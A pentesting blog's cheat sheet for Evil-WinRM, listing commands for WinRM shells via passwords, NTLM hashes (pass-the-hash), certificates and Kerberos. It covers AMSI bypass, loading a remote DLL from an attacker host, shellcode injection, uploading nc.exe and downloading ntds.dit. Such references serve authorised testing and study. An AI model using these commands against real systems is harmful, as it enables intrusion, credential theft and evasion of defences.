root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to cheatsheets
root@sparrow:~/writeups$ cat evil-winrm.md
// Active Directory

Evil-WinRM

21 Jul 2026 · 6 min read
Active Directorycheatsheetsevil-winrm
Evil-WinRM is the go-to client for getting shells on Windows over WinRM (Windows Remote Management, ports 5985/5986). As soon as you have valid credentials —a password, an NTLM hash, a certificate or a Kerberos ticket— and the user is in the Remote Management Users group, it hands you an interactive PowerShell console with built-in file upload/download and script loading.

The detail that makes the difference is that Evil-WinRM is not just «a shell»: its menus load .NET binaries in memory (Invoke-Binary), bypass AMSI (Bypass-4MSI) and inject shellcode without touching disk. And because it accepts an NTLM hash directly (-H), it is the natural path for pass-the-hash when cracking the password is not an option.

1. Beginner level — connection and files

EVIL-WINRM cheat sheet — Beginner
CommandWhat it does
evil-winrm -i <ip> -u user -p passWinRM shell with username and password
evil-winrm -i <ip> -u user -H <hash>Authenticate with an NTLM hash (pass-the-hash)
evil-winrm -i <ip> -u user -p pass -SSSL-encrypted connection (port 5986)
evil-winrm -i <ip> -u user -p pass -P 5985Specify the WinRM port
upload nc.exeUpload a file to the target machine
download C:\loot.txtDownload a file from the target
servicesList services and their paths
menuShow the available loaded modules
evil-winrm -i <ip> -u user -p pass -s /scriptsLoad a directory of PS scripts
evil-winrm -i <ip> -u user -p pass -e /exesLoad a directory of executables
evil-winrm -i <ip> -u 'DOM\user' -p passdomain\username format
evil-winrm -i <ip> -u user -p pass -NDisable the shell colors
evil-winrm -i <ip> -u user -p pass -lSave a log of the session
evil-winrm -VShow the installed version

2. Advanced level — cert, Kerberos and in-memory execution

EVIL-WINRM cheat sheet — Advanced
CommandWhat it does
evil-winrm -i <ip> -u user -H <hash> -SPass-the-hash over SSL
evil-winrm -i <ip> -u user -c cert.pem -k key.pem -SCertificate-based authentication
evil-winrm -i <ip> -u user -p pass -r DOM.LOCALKerberos authentication (realm)
Invoke-Binary /exes/app.exeRun a .NET binary in memory
Bypass-4MSIDisable AMSI in the current session
Dll-Loader -http http://<ip>/x.dllLoad a remote DLL in memory
Donut-Loader -process_id 1 -donutfile x.binInject donut shellcode into a process
upload /local/nc.exe C:\Temp\nc.exeUpload to a specific destination path
download C:\ntds.dit ./ntds.ditDownload to a specific local path
evil-winrm -i <ip> -u user -p pass -e /exes -s /scriptsLoad exes and scripts at once
evil-winrm -i <ip> -u user -H <hash> -s /scriptsPass-the-hash + PS scripts
evil-winrm -i <ip> -u user -p pass -P 5986 -SSSL on an explicit port
evil-winrm -i <ip> -u user -p pass -N -lNo colors and with session log
evil-winrm -i <ip> -u user -H <hash> -e /exes -s /scriptsPtH + exes + scripts (full setup)

3. Details people miss

  • WinRM is not open on every box: first check port 5985 (or 5986 with -S) and that the user is in Remote Management Users, or the connection fails even with correct credentials.
  • With -H you pass the NT hash (the second half of LM:NT), not the full pair; feeding it the whole LM:NT breaks many versions.
  • Invoke-Binary runs .NET executables in memory; for native binaries (nc.exe, classic mimikatz.exe) use upload to disk or Donut-Loader.
  • upload/download are relative to the directory you launched evil-winrm from on your host, not your $HOME: know your local cwd before transferring.
  • In EDR-heavy environments, chain Bypass-4MSI before loading scripts like PowerView or Rubeus; otherwise AMSI will block them on import.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.